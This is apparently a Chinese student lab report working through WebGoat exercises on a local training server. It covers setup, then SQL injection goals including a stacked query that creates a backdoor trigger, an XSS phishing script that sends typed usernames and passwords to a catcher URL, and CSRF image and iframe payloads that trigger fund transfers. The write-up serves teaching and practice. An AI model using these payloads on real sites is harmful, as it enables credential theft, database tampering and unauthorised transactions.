1.下载 webgoat-container-7.0.1-war-exec.ja r文件
2、在含有该文件的目录下使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 运行Webgoat
3、在浏览器中输入 http://localhost:8080/WebGoat 进入WebGoat登录界面
4、使用默认用户名密码guest登录即可
返回目录
目标:可以在目标主机上执行任何系统命令
目标:该例子通过注入SQL字符串查看所有的天气数据。
目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
目标:利用查询的脆弱性创建触发器。
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘ljx@hackme.com‘WHERE userid = NEW.userid
目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
编写一个带用户名和密码输入框的表格
//脚本 </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
输入代码 <script>alert(" You‘ve been attacked");</script> ,点击purse的同时页面就给出了反馈
目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
这次实验是通过webgoat来进行测试和攻击,webgoat很适合用来进行教学和练手,安装也很方便。这次实验分别尝试了SQL、CSRF、XSS攻击,攻击的场景类型也较为丰富,但也相对简单,距离实战还有一定的距离,当然应该应付一些设计缺陷较大,安全防范不足的小网站还是足够了,也让我们更直观的体会到web的脆弱性。
2018-2019-2 网络对抗技术 20165311 Exp 9 Web安全基础
原文:https://www.cnblogs.com/fakerli/p/10918729.html